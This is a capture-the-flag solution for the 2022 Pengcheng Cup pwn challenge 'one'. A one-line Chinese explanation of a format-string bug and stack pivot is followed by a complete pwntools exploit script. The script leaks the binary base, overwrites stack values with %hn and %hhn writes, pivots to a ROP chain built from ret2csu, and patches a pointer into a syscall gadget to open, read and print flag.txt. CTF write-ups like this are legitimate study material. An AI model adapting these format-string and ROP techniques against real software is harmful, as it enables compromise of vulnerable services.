0%

鹏城杯2022_one

格式化字符串漏洞

利用格式化字符串改写main函数的栈中rbp,并将返回地址改为leave ret的地址,这样main函数返回时就可以栈迁移到可控区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#coding:utf8
from pwn import *

#sh = process('./one',env = {'LD_PRELOAD':'./libc-2.31.so'})
sh = remote('192.168.1.106',9999)
elf = ELF('./one')

sh.recvuntil('gift:')
stack_addr = int(sh.recvuntil('\n',drop = True),16)
sh.sendafter('name:','a'*0x8)
sh.sendafter('password:','b'*0x8)
sh.recvuntil('a'*0x8)
elf_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x11a0
leave_ret = elf_base + 0x1409
print 'elf_base=',hex(elf_base)
print 'stack_addr=',hex(stack_addr)

payload = '%' + str( (stack_addr + 0x18) & 0xffff) + 'c%9$hn'.ljust(18,'a') + p64(stack_addr - 0xf0)

map = {}
rop_addr = stack_addr + 0xd8
for i in range(6):
x = rop_addr & 0xff
rop_addr = rop_addr >> 8
map[x] = i

for i in range(6,12):
x = leave_ret & 0xff
leave_ret = leave_ret >> 8
map[x] = i


map = sorted(map.items(),key=lambda x:x[0],reverse=False)
payload = ''
pre = 0
for x in map:
delta = x[0] - pre
if delta == 0:
payload += '%' + str(22 + x[1]) + '$hhn'
else:
payload += '%' + str(delta) + 'c%' + str(22 + x[1]) + '$hhn'
pre = x[0]

print len(payload)
payload = payload.ljust(128,'a')
for i in range(6):
payload += p64(stack_addr + 0x810 + i)
for i in range(6):
payload += p64(stack_addr + 0x818 + i)

print payload
print len(payload)

pop_rdi = elf_base + 0x0000000000001543
pop_rsi = elf_base + 0x0000000000001541
read_addr = elf_base + 0x1190
#add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax] ; ret
gadgets = elf_base + 0x0000000000001272
pop_rbx = elf_base + 0x153a
stdout_ptr = elf_base + 0x4020
csu_call = elf_base + 0x1520
read_got = elf_base + elf.got['read']
alarm_plt = elf_base + 0x1170
pop_rbp = elf_base + 0x0000000000001273
bss = elf_base + 0x4050

flag_addr = stack_addr + 0x1f8
#修改stdout为syscall
rop = p64(pop_rbx) + p64(0x100000000 - 0xdee8b) + p64(stdout_ptr + 0x3d) + p64(0)*4
rop += p64(gadgets)
rop += p64(pop_rdi) + p64(2) + p64(alarm_plt) + p64(pop_rdi) + p64(0) + p64(alarm_plt)

rop += p64(pop_rbx) + p64(0) + p64(1) + p64(0)*3 + p64(stdout_ptr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(stdout_ptr) + p64(csu_call + 9) + p64(0)

next_rop_addr = stack_addr + 0x200
rop += p64(0) + p64(1) + p64(0) + p64(next_rop_addr) + p64(0x1000) + p64(read_got)
rop += p64(csu_call) + 'flag.txt'

payload += rop
print len(payload)

raw_input()
sh.sendafter('!!!',payload)

rop = p64(0) + p64(1) + p64(1) + p64(flag_addr) + p64(0x100) + p64(read_got) #read
rop += p64(csu_call) + p64(0)
rop += p64(0) + p64(1) + p64(2) + p64(flag_addr) + p64(0x100) + p64(stdout_ptr)
rop += p64(pop_rdi) + p64(1) + p64(alarm_plt) + p64(alarm_plt)
rop += p64(csu_call) + p64(0)

raw_input()
sh.send(rop)


sh.interactive()